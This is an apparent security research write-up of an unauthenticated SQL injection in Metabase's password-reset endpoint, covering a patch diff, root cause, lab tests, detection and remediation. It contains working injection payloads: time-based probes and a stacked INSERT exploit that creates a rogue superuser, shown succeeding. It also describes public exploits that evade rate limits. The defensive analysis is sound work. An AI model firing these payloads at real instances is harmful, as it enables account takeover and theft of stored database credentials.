Most injection bugs are a string concatenation somebody forgot to parameterise.
This one is not. Every query in the path is parameterised. The application
database driver is fine. The ORM is fine. There is no str/join anywhere near
the sink.
The bug is that a JSON object arriving in an unauthenticated request body was
allowed to be a query fragment. Not to be interpolated into one — to be one.
{"raw": "..."} in JSON becomes {:raw "..."} in Clojure, and {:raw "..."} is
HoneySQL’s way of saying “emit this string as SQL, verbatim, do not touch it.”
The attacker did not defeat the query builder. The attacker spoke to it.
That is CVE-2026-72898, in Metabase. It scores 10.0 on both CVSS 3.1 and 4.0, it was exploited as a zero-day against Metabase’s own cloud before anybody knew it existed, and CISA added it to KEV five days after the patch with a three-day remediation deadline and a forensic triage requirement. What follows is the root cause recovered by diffing three 660 MB uberjars, then confirmed end to end in a lab: a rogue superuser, created from nothing, logging in through the ordinary web form.
If you don’t live in this corner of the world, the thirty-second version. Metabase is a business-intelligence front end: you point it at your data warehouses, it gives your company dashboards and a query builder, and non-engineers use it all day. To do that it keeps its own separate database — the application database — holding users, sessions, API keys, permissions, and the connection credentials for every warehouse it is attached to.
So the reason this matters is not that a dashboard tool had a SQL bug. It is that the database the SQL bug reaches is the one holding the keys to every other database in the building. Compromising Metabase’s application database is a credential heist with a side of full admin.
This is not new ground, and this post does not pretend otherwise. By the time we picked it up there were nine public repositories carrying working exploit code and a source-level root-cause analysis on GitHub. The prior art section names all of them, and if you want a PoC you should use theirs.
What is left after all that, and the reason this post exists, is four things nobody
else wrote down. The vendor’s fix shipped with a docstring explaining, in careful
prose, exactly why the bug existed — compiled into the jar, where anybody who runs
strings on it can read it, and absent from every public analysis because every
public analysis worked from source tags that do not include it. The advisory’s
affected range names a release that is already fixed: the vendor lists 0.63.0
through 0.63.3 as affected, and 0.63.3 carries the complete fix and refuses the
attack. Only one of the two spellings works, and it is not obvious which from
reading the patch. And the whole thing is reachable by diffing three 660 MB Clojure
uberjars, a technique with its own trap and its own trick, which nobody needed here
but will on the next Clojure product whose vendor does not publish the fixed tag.
A note on jargon. This is written for people who read advisories for fun, so it does not stop to define things as it goes. There is a keywords section at the bottom that explains the lot in plain language, in roughly the order you’ll hit it.
Everything here was reproduced against official Docker images on an isolated workstation. No third-party Metabase was contacted at any point. There is no exposure census in this post because we did not run one.
The short version
| Field | Value |
|---|---|
| CVE | CVE-2026-72898 |
| CVSS v3.1 | 10.0 CRITICAL, AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H |
| CVSS v4.0 | 10.0 CRITICAL, AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H |
| Product | Metabase OSS (0.x) and Enterprise/Pro (1.x) |
| Class | CWE-89, SQL injection. Unauthenticated, no user interaction |
| Endpoint | POST /api/session/reset_password |
| Affected (per vendor) | 0.58.0–0.58.23, 0.59.0–0.59.20, 0.60.0–0.60.16, 0.61.0–0.61.10, 0.62.0–0.62.8, 0.63.0–0.63.3 — and the matching 1.x builds |
| Fixed (per vendor) | 0.58.24, 0.59.21, 0.60.17, 0.61.11, 0.62.9, 0.63.5 |
| Affected (measured) | 0.63.2 is exploitable. 0.63.3 is not — it carries the complete fix and rejects the attack. See the version section |
| Exploited | Yes, as a zero-day. Discovered 2026-08-03 when a Metabase Cloud customer reported API keys they did not create |
| KEV | Added 2026-08-11, due 2026-08-14, forensicTriage: Yes |
| Prior art | Extensive. 9 public GitHub repos, several with working exploit code, earliest 2026-08-12. A public source-level root-cause analysis. See prior art |
| Root cause | An open (non-:closed) request schema on an unauthenticated endpoint, plus a merge that let a caller-supplied key survive into a Toucan2/HoneySQL user lookup as a raw clause |
S:C — scope changed — is doing real work in that vector. The vulnerable component
is Metabase. The impacted components are every warehouse whose credentials Metabase
is holding.
If you run Metabase, start here
Patch, then assume breach. This was exploited in the wild before it was known. CISA’s KEV entry carries a forensic triage requirement, which is not the usual KEV boilerplate — it means “go and look”, not just “go and patch”.
The one-request test, from wherever your monitoring already reaches your own instances:
POST /api/session/reset_password
Content-Type: application/json
{"token":"aaaaaaaa_bbbbbbbb","password":"Aa1!xxxxxxxxxxxx","user-id":{"raw":"1"}}
| response | verdict |
|---|---|
{"errors":{"user-id":"unexpected key"}} | Patched. The schema is closed; the key never reaches the pipeline |
{"errors":{"password":"Invalid reset token"}} | Vulnerable. The undeclared key was accepted and carried into the query builder |
{"errors":{"_error":"Too many attempts!..."}} | Throttled. Ten an hour per source IP. Try again later |
The token has to be syntactically plausible (<digits>_<anything>) and must fail —
a valid token takes a different path. The password has to satisfy the complexity
schema or you get a password error instead and learn nothing. Get either wrong and
you get a clean-looking false negative.
Then the six steps:
1. Patch: 0.58.24 / 0.59.21 / 0.60.17 / 0.61.11 / 0.62.9 / 0.63.5 (or 1.x equiv).
2. Block /api/session/reset_password at the proxy until you have.
3. Behavioural test, one request, per instance. (the advisory's range is wrong)
4. Hunt: POST /api/session/reset_password 400, then a 200 from the same source.
5. Audit: core_user rows you did not create, is_superuser, api_key, core_session.
6. ROTATE EVERY DATA SOURCE CREDENTIAL. This is the step people skip.
Step 6 is the whole point of the CVE and the easiest to rationalise away. The bug gives an attacker arbitrary SQL against the application database. The application database is where Metabase stores the username and password for every warehouse you connected it to. Patching does not un-disclose those.
Step 4 has a specific shape, and the vendor’s own incident report names it: a 400
from POST /api/session/reset_password followed shortly by a 200 from
GET /api/user/current on the same source. The reset “fails” — it always returns
400, even on total success — and then the attacker logs in as somebody who did not
exist a second ago. Our PoC produces exactly that pair, which is a good sign for the
detection and a bad one for anybody relying on the 400 to mean the attack failed.
What we’re even looking at
Metabase is a single JVM application. One uberjar, 660 MB, Clojure on the JVM, about 3,000 namespaces. It has two databases and confusing them is how people misjudge this bug.
The data sources are your warehouses — Postgres, Snowflake, BigQuery, Redshift, whatever you attached. Metabase queries them on behalf of users. This is what everybody thinks of as “the database Metabase talks to”, and it is not what this CVE touches.
The application database is Metabase’s own storage: core_user, core_session,
auth_identity, api_key, permissions, dashboards — and the encrypted-at-rest
connection details for every data source. By default it is H2, an embedded
file-based database, because that is what you get when you docker run the thing and
never configure anything. Production deployments are told to use Postgres or MySQL
instead, and many do; plenty do not.
That default matters more than it usually would, because H2 happily executes several statements in one go and Postgres does not.
Authentication has a pipeline. metabase.auth-identity.provider defines three
multimethods — validate, authenticate, login! — and providers plug into it:
password, LDAP, Google, and in the enterprise build JWT and SAML. A password reset is
a provider too. Its token has a documented shape, recovered verbatim from the jar:
Password reset tokens follow the format `USER-ID_RANDOM-UUID` (e.g., `123_abc-def-ghi`).
Returns the user ID as an integer if the token matches this format, or nil if the
token format is invalid.
So the reset flow is meant to derive user-id from the token. Keep that sentence in
mind. It is the whole bug.
Why we picked it up
Seven-day freshcve --unauth --min-cvss 9 pull. The usual filter: critical, pre-auth,
network-reachable, something a customer actually runs facing the actual internet.
Libraries, CMS plugins and desktop apps get binned.
This one won on four things.
Product class. Internet-facing analytics console with stored credentials for everything behind it. The blast radius is not the app, it is the warehouses.
Every artefact is free. Metabase OSS publishes signed jars and Docker images for
every release. metabase/metabase:v0.63.2 and v0.63.3 are one docker pull each.
No licence, no entitlement, no vendor portal.
KEV with a forensic triage flag. This was not a theoretical critical. It was already being used.
And it is a clean teaching diff. Three releases, one of them the real fix boundary and not the advertised one, in a language whose build makes naive diffing useless. We went in expecting the vector to be unpublished. It was not. What the jars had that the public record did not was the vendor’s own explanation, and the method that got us there is the transferable part.
Has somebody already done this?
Yes. Comprehensively. Checked 2026-09-17, and this table decays faster than anything else in the post, so treat the date as part of the claim.
| Channel | Result |
|---|---|
GitHub repo search, CVE-2026-72898 | 9 repositories |
| Metabase incident report | Real and good. Timeline, IoCs, attacker behaviour |
| Bishop Fox | Real. The vulnerability class and the patch’s effect. Explicitly analysis only |
CISA KEV / CSAF VA-26-222-01 | Listed. No technical detail |
The repositories, read statically — never run — and characterised honestly:
| repo | first pushed | what it is |
|---|---|---|
0xBlackash/CVE-2026-72898 | 2026-08-12 | Safe-check script. First public artefact we found |
codeb0ssx/CVE-2026-72898-PoC | 2026-08-13 | README only, 214 bytes. No code |
VuxNx/CVE-2026-72898 | 2026-08-15 | Real, and one line. A curl with "user-id":{"raw":"1) OR 1=1 -- "} |
4minx/CVE-2026-72898 | 2026-08-15 | Real exploit. Stacked INSERT INTO core_session selecting the first active superuser — the technique the actual attacker used |
Franc-Zar/...-safe-detection | 2026-08-16 | Non-destructive scanner |
d-maggipinto/...-metabase-sqli | 2026-08-26 | Detector plus a source-level root-cause analysis. See below |
EQSTLab/CVE-2026-72898 | 2026-08-27 | Real exploit, 22 stars. Blind binary-search extraction over pg_sleep, with X-Forwarded-For rotation to defeat the per-IP throttle. Ships a Docker lab |
34zY/CVE-2026-72898 | 2026-09-14 | Exploit, plus a scanner check of its own |
ubitquity/Metabase-Setup-Endpoint-SQLi-Fix | — | Remediation, not exploitation |
So: the vector is public, the payload is public, and weaponised extraction is public. If you came here for a PoC, use one of theirs.
One of those deserves singling out. d-maggipinto’s TECHNICAL.md is a genuinely good
piece of work and it beat us to the root cause by three weeks, via a route we did not
think of: patch releases are cut from private branches so v0.63.4 and v0.63.5 never
appear in the public repo, but v0.63.15 does, and diffing v0.63.2 against
v0.63.15 in source recovers the fix directly. It names {:closed true} and a
select-keys allowlist in session/api.clj, and quotes the login! :around method
and the (catch Throwable _ {:success? false}) in with-fallback that makes the bug
blind. All of that is correct, and our binary diff independently reproduces it —
select-keys shows up in our constant-pool diff of the session namespace too.
Which raises the fair question of why this post exists at all, and the answer is on the next line rather than buried at the end.
What is here that is not there. The public analyses work from source tags. Source
tags are not what people run. The jar is, and the jar holds one thing the source
comparison at v0.63.15 does not surface: authenticate-owned-keys, the function added
in 0.63.3 alongside the schema flag, with an eighteen-key denylist and a docstring in
which the vendor writes out the bug class in plain English. That, the measured proof
that 0.63.3 is already fixed despite the advisory listing it as affected, the
kebab-versus-snake key measurement, and the Clojure-uberjar diff method itself, are the
contribution. Everything else in this post you can get elsewhere, and the elsewhere is
linked above.
Standard caveat, worth keeping even when it cuts this way: this was a zero-day. Somebody’s private tooling had it before anybody’s GitHub did, and the 2026-08-12 timestamp above is the first public artefact, not the first artefact.
Finding the diff boundary
The first question on any patch diff is which two artefacts to compare, and here the advisory hands you an answer that is wrong.
The vendor’s table says 0.63.0–0.63.3 affected, 0.63.5 fixed. So: pull 0.63.3 and
0.63.5, diff them, done.
Both jars, 660 MB each, ~296,180 entries each. CRC every entry on both sides and compare:
changed entries 15,048
only in 0.63.3 29,547
only in 0.63.5 29,551
Seventy-four thousand differences between two point releases. That is not a patch, that is noise, and the reason is Clojure.
Clojure compiles anonymous functions to classes named by a global counter. A
function in metabase.session.api is not handler.class, it is
api$fn__159642$fn__159648.class. That counter increments across the entire build in
load order, so inserting one form anywhere near the front of the compilation shifts
every gensym after it. fn__159642 becomes fn__157711, and a name-keyed diff reports
both as added and removed.
Normalise the names — strip the digits, keep the structure — and it improves, but not enough:
changed entries (normalised) 11,848
only in 0.63.3 309
only in 0.63.5 311
Still 11,848 changed classes, and they are changed for a reason that has nothing to do
with the patch: a class that calls fn__159642 embeds that name as a literal in its
own constant pool, so its bytes change when the counter shifts even though its behaviour
and its length do not. The signal is real. It is buried under a full recompilation.
What works is aggregating one level up. Forget classes; sum every class’s size per
namespace, and count the classes. A namespace whose source did not change compiles to
the same total bytes and the same class count, whatever the gensyms did. It is the
Clojure analogue of reading function sizes out of .gopclntab: a stable size signal
that survives the churn.
That collapses 296,180 entries into ~3,040 rows. And across 0.63.3 → 0.63.5, it gives
this:
27 namespaces changed, out of 3,042
Here they are, all of them:
analytics/prometheus driver/sql/query_processor pivot/postprocess
channel/render/body lib/schema/parameter queries/models/card
cloud_migration/... metabot/self query_processor/middleware/cache
dashboards/models/dashboard metabot/tools/entity_details query_processor/middleware/permissions
driver/bigquery_cloud_sdk notification/payload/... query_processor/parameters/values
driver/bigquery_cloud_sdk/... notification/send query_processor/setup
driver/sql_jdbc/execute server/middleware/log server/streaming_response
sync/analyze sync/task/sync_databases
util/compress
Not one of them is in the authentication path. No session, no auth_identity, no
api/macros, no request/schema. Two releases, one of them named in the advisory as
the fix for a CVSS 10.0 authentication bug, and the auth namespaces are byte-for-byte
identical.
Either the fix is not a code change — it is not, we checked the resources too — or the fix is not in 0.63.5.
So we moved the boundary down and pulled 0.63.2.
| pair | namespaces changed |
|---|---|
0.63.3 → 0.63.5 | 27, none in auth |
0.63.2 → 0.63.3 | 110, including two that matter |
There it is.
The diff
Two namespaces out of 110 are in the authentication path, and both are exactly where you would want them:
| namespace | 0.63.2 | 0.63.3 | delta |
|---|---|---|---|
metabase/session/api | 195,261 B / 64 classes | 195,670 B / 64 classes | +409 B, no new function |
metabase/auth_identity/provider | 94,107 B / 30 classes | 102,943 B / 31 classes | +8,836 B, one new function |
And both are byte-identical in 0.63.5. Whatever happened, happened in 0.63.3 and has
not been touched since.
A small growth with no new function is a changed literal. A large growth with a new function is new logic. That is two different fixes, in two different places, and they turn out to be the two halves of the story: one closes the door, the other moves the valuables away from it.
Half one: four hundred bytes and a single word
metabase/session/api gained 409 bytes and no functions. In a Clojure jar that normally
means a constant changed. So: dump the constant pool of every class in the namespace on
both sides, and diff the string sets.
One word appears in 0.63.3 that does not appear in 0.63.2:
closed
Exactly one class contains it, out of 64. Zero classes in 0.63.2 contain it. That class
is the route definition for POST /api/session/reset_password.
closed is Malli — Metabase’s schema library. A map schema is open by default: keys you
did not declare are ignored and pass through. {:closed true} rejects them.
So in 0.63.2 the reset-password body schema declares token and password, validates
those two, and lets anything else in the JSON object through untouched into the handler.
In 0.63.3 it does not. That is the entire first half of the fix: one flag, on one route.
You can watch it from outside. Against a patched instance:
$ curl -s :3003/api/session/reset_password -d '{"token":"a_b","password":"Aa1!xxxxxxxx","user-id":{"raw":"1"}}'
{"specific-errors":{"user-id":["disallowed key, received: {:raw \"1\"}"]},
"errors":{"user-id":"unexpected key"}}
Malli tells you not only that the key was refused but what it was carrying. Which is generous of it, and makes for an unambiguous detection signal.
Half two: the function they added
metabase/auth_identity/provider gained 8,836 bytes and one function. The namespace has
30 functions in 0.63.2 and 31 in 0.63.3, and the new one is named in the constant pool:
authenticate-owned-keys
Alongside it, in the same pool, eighteen keywords in a row:
:user-id :user_id :user-data :auth-identity :provider-id :success? :session
:error :message :mfa :pending? :methods :first-factor :jwt-data :claims
:tenant-slug :tenant-attributes :user-provisioning-enabled?
And the only class in the namespace that both grew significantly and references the new var is this one:
provider$login_BANG__around_method_metabase_auth_identity_provider_provider.class
6,337 bytes -> 11,779 bytes
That is the :around method on login! — the wrapper that runs on every authentication
in the product, whichever provider is handling it. Its constant pool in 0.63.3 gains
apply, dissoc, authenticate-owned-keys, pos-int?, true?, a
clojure.tools.logging logger, and one new message string:
Provider %s returned a non-positive-int :user-id (type %s); refusing to resolve a user.
So the second half is two guards: strip those eighteen keys from the merge base before merging, and then refuse to proceed unless what comes out the other side is a positive integer. Belt, and separately, braces.
The confession in the constant pool
The best artefact in this whole diff is not code. Clojure stores docstrings as ordinary
string constants in the namespace’s __init class, which means the documentation for a
fix ships inside the compiled jar. Here is the docstring on authenticate-owned-keys,
reassembled from the constant pool of metabase/auth_identity/provider__init.class in
0.63.3:
Keys the pipeline derives for itself, dropped from the merge base. Callers forward user-controlled maps into
[[login!]]— the SSO integrations pass the whole Ring request — and a surviving copy of any of these would let the caller name the account it logs into, assert its own success, or steer tenant sync.:user_idis here because JSON keywordizes verbatim: a body can carry the snake_case spelling alongside the kebab-case key resolution reads. A key the caller legitimately supplies and the pipeline only reads back does not belong on this list;:oidc-provider-keyis one, and dropping it disables OIDC group sync silently.
Read that again, because it is the entire vulnerability written by the people who fixed it.
“Callers forward user-controlled maps into login!” — the request body is the merge
base.
“a surviving copy of any of these” — the caller’s key survives because the pipeline
merges its own result over the caller’s map, and when authentication fails the
pipeline has no :user-id of its own to overwrite it with.
“would let the caller name the account it logs into” — that is not the SQL injection.
That is the other bug in the same line, the one where you just pass "user-id": 1 and
the pipeline resolves user 1. The injection is what you get when you pass something that
is not an integer at all.
“assert its own success” — :success? is on the list. In 0.63.2 a caller could put
"success?": true in a password-reset body.
And the last two sentences are a maintenance note to the future, explaining which keys
don’t belong on the denylist and what breaks if you add one carelessly. That is a
genuinely good comment. It is also a complete disclosure of the bug class, compiled into
a public artefact, indexed by nothing, sitting there for anybody who runs strings.
The sink
Put the two halves together and the path is four steps, three of which are individually reasonable.
1. The body is open. POST /api/session/reset_password is unauthenticated by design
— you cannot require a session to reset a forgotten password. Its Malli schema declares
token and password. In 0.63.2 it is not :closed, so
{"token": ..., "password": ..., "user-id": ...} validates fine and the handler receives
all three.
2. The request map is the merge base. login!’s :around method calls
authenticate on the provider and merges the result over the caller’s map. The docstring
above says so in as many words. For a password reset, authenticate is supposed to parse
user-id out of the token — USER-ID_RANDOM-UUID — and return it.
3. A failing token leaves the hole open. Give it a token that cannot validate and
authenticate returns a failure map that contains no :user-id. There is nothing to
overwrite the caller’s :user-id with. It survives.
4. The survivor goes into the query builder. The merged map’s :user-id is handed to
toucan2.core/select-one against :model/User. Toucan2 builds queries with HoneySQL.
And HoneySQL, handed a map where a value was expected, reads it as a clause. {:raw "..."}
is HoneySQL’s escape hatch: emit this string as SQL, verbatim, unparameterised.
JSON does the last mile for free. Metabase keywordizes JSON object keys, so
"user-id": {"raw": "(SELECT 1 FROM pg_sleep(6))"}
arrives in Clojure as
{:user-id {:raw "(SELECT 1 FROM pg_sleep(6))"}}
and comes out the other side as
... WHERE "ID" = ((SELECT 1 FROM pg_sleep(6)))
Nobody concatenated anything. The attacker handed the query builder a query-builder object and the query builder did its job.
The parenthesis is load-bearing, and you can read it straight off a working payload. Ours
starts 1); and ends SELECT 1 --, which only closes and re-opens correctly if the raw
fragment lands inside = (…). Between those, on H2, you may put statements.
Kebab, not snake
Every public PoC uses user-id, and every one of them is right to. What none of them
states is what happens if you reach for the other spelling — which matters, because the
fix denies both and a reader working backwards from the fix could reasonably pick
either. Against 0.63.2, measured:
| key spelling | response | time |
|---|---|---|
"user-id" | Invalid reset token | 2.235 s |
"user_id" | Invalid reset token | 0.021 s |
Same payload, same instance, seconds apart. The kebab-case spelling executes SQL. The
snake_case spelling does nothing. The pipeline in 0.63.2 reads :user-id; a :user_id
in the body is an undeclared key that nothing ever looks at, so it rides along harmlessly
and dies at the end of the request.
Which makes the fix’s docstring more interesting, not less: :user_id is on the
denylist, with an explanation — “JSON keywordizes verbatim: a body can carry the
snake_case spelling alongside the kebab-case key resolution reads.” They denied both
spellings because somewhere in that pipeline, or in some provider, or in some future
version, the other one resolves too. That is the right call and it is not the spelling
that works today on 0.63.2.
If you are writing a detection, test the one that fires. If you are writing a mitigation, deny both.
The lab
Four containers, no build step, because Metabase ships images.
3002 metabase/metabase:v0.63.2 VULNERABLE H2 (the default app db)
3003 metabase/metabase:v0.63.3 PATCHED H2
3004 metabase/metabase:v0.63.2 VULNERABLE Postgres app db
The setup wizard is completed on each, so core_user has a real id=1 admin and the
instance behaves like a deployed one rather than a first-boot one.
3004 exists because the default app db and the recommended app db behave differently under this bug, and a post that only tested H2 would overstate one thing and understate another.
The probe: a dialect oracle
Before exploiting anything, measure. The probe sends four requests — a baseline and three
payloads, one per application-database dialect — all with tokens that cannot validate, all
read-only, no INSERT, no state change:
baseline {"token":"…","password":"…"}
h2 "user-id":{"raw":"(SELECT COUNT(*) FROM SYSTEM_RANGE(1,6000) A, SYSTEM_RANGE(1,6000) B)"}
postgres "user-id":{"raw":"(SELECT 1 FROM pg_sleep(6))"}
mysql "user-id":{"raw":"(SELECT SLEEP(6))"}
The H2 payload is a self-cross-join over SYSTEM_RANGE, a generator function. It touches
no table, writes nothing, and costs about 36 million row-comparisons, which is a couple of
seconds of CPU. It is the safest way to make H2 take measurable time.
Measured, on the lab, in one run each:
:3002 — v0.63.2, H2
baseline {"errors":{"password":"Invalid reset token"}} [400] t=0.090
user-id h2 {"errors":{"password":"Invalid reset token"}} [400] t=2.294 <--
user-id pg {"errors":{"password":"Invalid reset token"}} [400] t=0.066
user-id mysql {"errors":{"password":"Invalid reset token"}} [400] t=0.016
:3004 — v0.63.2, Postgres
baseline {"errors":{"password":"Invalid reset token"}} [400] t=0.025
user-id h2 {"errors":{"password":"Invalid reset token"}} [400] t=0.024
user-id pg {"errors":{"password":"Invalid reset token"}} [400] t=6.214 <--
user-id mysql {"errors":{"password":"Invalid reset token"}} [400] t=0.018
:3003 — v0.63.3, patched
baseline {"errors":{"password":"Invalid reset token"}} [400] t=0.055
user-id h2 {"errors":{"user-id":"unexpected key"}} [400] t=0.054
user-id pg {"errors":{"user-id":"unexpected key"}} [400] t=0.040
user-id mysql {"errors":{"user-id":"unexpected key"}} [400] t=0.028
Three things fall out of that.
The response body is a perfect liar. Every single request on both vulnerable hosts
returns the identical 400 Invalid reset token, including the ones that just executed
seconds of attacker SQL. There is no error, no stack trace, no difference in status,
length or content. The only channel is the clock.
The wrong dialect is silent, not noisy. pg_sleep on an H2 backend does not throw a
visible error — it fails inside the lookup, gets swallowed, and returns in 66 milliseconds
looking exactly like the baseline. This is the property that makes a three-dialect scan
safe: a wrong guess produces a non-answer rather than a false positive.
So the probe fingerprints the application database. Whichever payload is slow tells you what Metabase is storing its users in. That is useful to an attacker — it decides whether stacked statements are on the table — and useful to a defender, because one read-only probe answers both “am I vulnerable” and “how bad is it for me”.
The exploit
Read-only timing proves the sink. It does not prove impact. Impact needs a write, and on H2
a write is available, because H2 executes multiple statements in a single execute call and
Postgres, in this driver configuration, does not.
The payload is two INSERTs and a COMMIT, wrapped to close and reopen the parenthesis the
sink puts around it:
1);
INSERT INTO core_user (id, email, first_name, last_name, is_superuser, is_active, date_joined, type)
VALUES (<id>, '<email>', 'rogue', 'admin', TRUE, TRUE, CURRENT_TIMESTAMP, 'personal');
INSERT INTO auth_identity (user_id, provider, provider_id, credentials, created_at, updated_at)
VALUES (<id>, 'password', '<email>', '{"password_hash":"…","password_salt":"…"}',
CURRENT_TIMESTAMP, CURRENT_TIMESTAMP);
COMMIT; SELECT 1 --
Two rows, because Metabase splits identity from account: core_user is who you are,
auth_identity is how you prove it. The credentials blob is JSON holding a bcrypt hash and
a salt, and Metabase’s scheme is bcrypt($2a$, cost 10, salt + password) — the salt is a
UUID string prepended to the plaintext before hashing, which we confirmed against the
product’s own metabase.util.password/verify-password rather than guessing. That means the
PoC can hash any password you like at runtime instead of shipping a fixed one.
We are not creating a session. We are not forging a cookie. We are creating a user account, with a password we chose, that logs in through the normal web form like any employee.
Against :3002:
[STEP 1] Creating superuser '[email protected]' (id=749068800) via stacked INSERT SQLi
--- STEP 1 RESPONSE (expected HTTP 400 - meaningless as a signal) ---
HTTP 400
{"errors":{"password":"Invalid reset token"}}
---
[STEP 2] Logging in with the new credentials via POST /api/session
--- AUTHENTICATED (GET /api/user/current) ---
{
"id": 749068800,
"email": "[email protected]",
"first_name": "rogue",
"last_name": "admin",
"is_superuser": true,
"is_active": true
}
---
RESULT : SUCCESS
EVIDENCE: Logged in as '[email protected]' / 'S3cret!pw' (superuser=True). GUI login works.
Note step 1’s response. 400 Invalid reset token is what total compromise looks like.
The request that created a superuser is indistinguishable, from the outside, from a user
fat-fingering a password reset link. That is why the vendor’s IoC is a pair of log lines
and not one: the 400 is noise on its own, and only the 200 that follows it gives the game
away.
And the negative control, same script, same payload, :3003:
RESULT : FAILURE
EVIDENCE: target appears PATCHED - 'user-id' rejected at schema validation
Which is the second half of a proof. A test that only fires on the vulnerable host tells you it fires. A test that also stays silent on the patched one tells you what firing means.
The throttle, which is the only thing protecting you
reset_password is rate-limited: ten attempts per hour, per source IP, held in memory.
It is why the lab notes say to docker restart between experiments, and it is worth
understanding from both sides.
For a scanner it is a budget. Four requests is one probe; you get two probes an hour per
instance before the endpoint starts answering Too many attempts!, which is a third state
that is neither vulnerable nor patched and must not be scored as either.
For an attacker it is nearly irrelevant, because the attack needs one request. One POST creates the superuser. Everything after that is an ordinary login.
For a defender it means brute-force alerting on this endpoint will not catch this. There is no burst. There is one 400 among however many real password resets your users generate in a day.
The advisory names a release that is already fixed
The vendor’s table, and NVD’s machine-readable copy of it, say 0.63.0 through 0.63.3
affected, fixed in 0.63.5.
0.63.3 is not affected. We have this three ways.
The schema flag is in 0.63.3. The literal closed appears in exactly one class of
metabase/session/api in 0.63.3 and in zero classes in 0.63.2. That class is the
reset_password route.
The pipeline guard is in 0.63.3. authenticate-owned-keys, its eighteen keywords, its
docstring, the apply dissoc, the pos-int? check and the refusing to resolve a user log
line are all present in metabase/auth_identity/provider in 0.63.3, in a namespace that
gained 8,836 bytes and a function relative to 0.63.2.
0.63.5 adds nothing to either. Both namespaces are byte-identical between 0.63.3 and 0.63.5 — same total size, same class count — and none of the 27 namespaces that did change between those two releases is in the authentication path.
And it behaves. A 0.63.3 container rejects the undeclared key with
{"errors":{"user-id":"unexpected key"}}, in 54 milliseconds, on all three dialect payloads,
and refuses the full exploit at schema validation.
So one of two things is true. Either 0.63.4 and 0.63.5 contain some further hardening for
this CVE that leaves no trace in the auth namespaces — which the byte-level comparison of
0.63.5 says they do not — or the advisory’s 0.63.x row was written against the release
train rather than against the commit.
The practical consequence is small and specific, and it is worth naming precisely because it is the opposite of the usual advisory error:
The range over-states, not under-states. Nobody is left exposed by believing it. An operator on 0.63.3 who reads the advisory will upgrade to 0.63.5, and that is fine advice — they should, for the other 27 namespaces if nothing else.
What it breaks is triage and forensics, and that is not nothing on a KEV entry carrying a
forensic triage requirement. If you are reconstructing an incident and you place a host in
the affected range because it ran 0.63.3, you have mis-scoped the window. If you are writing
detection content keyed to < 0.63.5, you will generate false positives on a fixed release.
And if you are a scanner author, this is precisely why version-based checks lose to
behavioural ones: the banner is accurate, the mapping from banner to verdict is not.
Do not scope this from the version string alone.
GET /api/session/propertiesis unauthenticated and returnsversion.taghonestly, but on the 0.63 line the tag cannot decide patch state, because one of the versions the advisory calls vulnerable is not. One request toreset_passwordsettles it.
Disclosure
The claim in the section above is a claim about a vendor’s advisory being wrong, so it does not get published without a timeline attached.
2026-08-03 Zero-day exploitation surfaces: a Metabase Cloud customer reports API
keys they did not create. (vendor incident report)
2026-08-06 Fixed releases published. GHSA-vwf4-m7j8-wcjf.
2026-08-10 NVD publishes. CISA publishes CSAF VA-26-222-01.
2026-08-11 CISA KEV. Due 2026-08-14. forensicTriage: Yes.
2026-08-12 First public PoC (0xBlackash). Eight more repos follow through 2026-09-14.
2026-08-26 Public source-level root-cause analysis (d-maggipinto), via v0.63.2 vs v0.63.15.
2026-09-17 Candidate triaged; jars pulled. Prior art enumerated: the vector, the
payload and working extraction tooling are all already public.
2026-09-17 Namespace-level diff. 0.63.3 -> 0.63.5 shows nothing in auth.
Boundary moved to 0.63.2 -> 0.63.3. Root cause identified.
2026-09-17 Lab: three instances, two app-db backends. Read-only probe confirms the
sink on both. Exploit confirms superuser creation on H2. Patched
instance refuses both.
2026-09-17 Affected-range discrepancy measured three ways.
2026-09-17 Findings not reported to Metabase prior to publication.
2026-09-17 This post.
That second-to-last line is not rhetorical. The bug itself is fixed, public, in KEV, documented by the vendor themselves, and weaponised in nine public repositories — nothing here is a zero-day and there is nothing to coordinate. The affected-range discrepancy is different: it is the one item in this post Metabase can act on and nobody else can, and correcting it costs them an advisory edit. It errs safe, which is why this is a note rather than an embargo, but an unanswered disclosure is a respectable line in a timeline and a missing one is not.
Worth noting that the discrepancy is visible in the wild already, if you know to look:
d-maggipinto’s analysis lists the affected range as ending at 0.63.2, not 0.63.3, and
several of the other rows in their table differ from the GHSA’s by one patch level too. They
do not remark on it. We are remarking on it, and we measured it rather than inferring it,
which is the only thing that separates the two claims.
Detection: a rubric
1. The one request
POST /api/session/reset_password
Content-Type: application/json
{"token":"aaaaaaaa_bbbbbbbb","password":"Aa1!xxxxxxxxxxxx","user-id":{"raw":"1"}}
"unexpected key" in the response means patched. "Invalid reset token" means the
undeclared key was accepted. "Too many attempts!" means come back later and score nothing.
Four ways to get a false negative, all of them silent:
- Wrong spelling.
user_idis inert on 0.63.2. Useuser-id. - Valid token. The token must fail. A token of the shape
123_<uuid>that happens to be live takes a different path entirely. - Weak password. The password field is validated before the interesting part. Fail its complexity rule and you get a password error and learn nothing about the key.
- Throttled. Ten an hour. If you sweep a fleet from one egress IP, you will throttle yourself and read it as “clean”.
2. Timing, if you want to know which database
Only needed when you want the app-db dialect as well as the verdict. Send the dialect payloads from the probe above and watch the clock; whichever one is seconds slow is your backend. On H2 expect roughly 2 s against a 90 ms baseline, on Postgres 6 s against 25 ms. Everything is read-only.
Do not build the primary check on timing. The unexpected key string is a content signal
and content signals do not care about network jitter, a loaded JVM or a CDN in front of you.
3. Log hunting, which is the part that matters
The vendor’s incident report gives the signature, and our PoC reproduces it exactly:
POST /api/session/reset_password 400 <- the compromise
GET /api/user/current 200 <- the attacker, logged in
from the same source, close together. Both lines look innocuous alone. Note that the 400 is on a POST to reset_password that succeeded; the status code carries no information about whether the injection ran.
Three more things to search for, in rough order of usefulness:
Unusual request bodies to that endpoint, if you log them. A legitimate reset body is two keys and a couple of hundred bytes. An exploit body carries SQL and is much larger. Length alone is a decent first filter.
User-agent anomalies. The vendor’s report describes the attacker cycling through 25
browser-mimicking user agents — after initially sending one that read
metabase-postgres-admin-session-lab-verifier/1. That is the fingerprint of tooling that was
not written by hand. It is also a reminder that “the attacker used a plausible UA” is an
assumption with a short shelf life.
Session and API-key creation that does not correspond to a login.
4. Database-side audit
The attack writes to the application database, so the application database is where the evidence is. Four tables:
| table | what to look for |
|---|---|
core_user | accounts you did not create; is_superuser = true; unusual id values; date_joined clustered oddly |
auth_identity | rows whose user_id has no matching provisioning record |
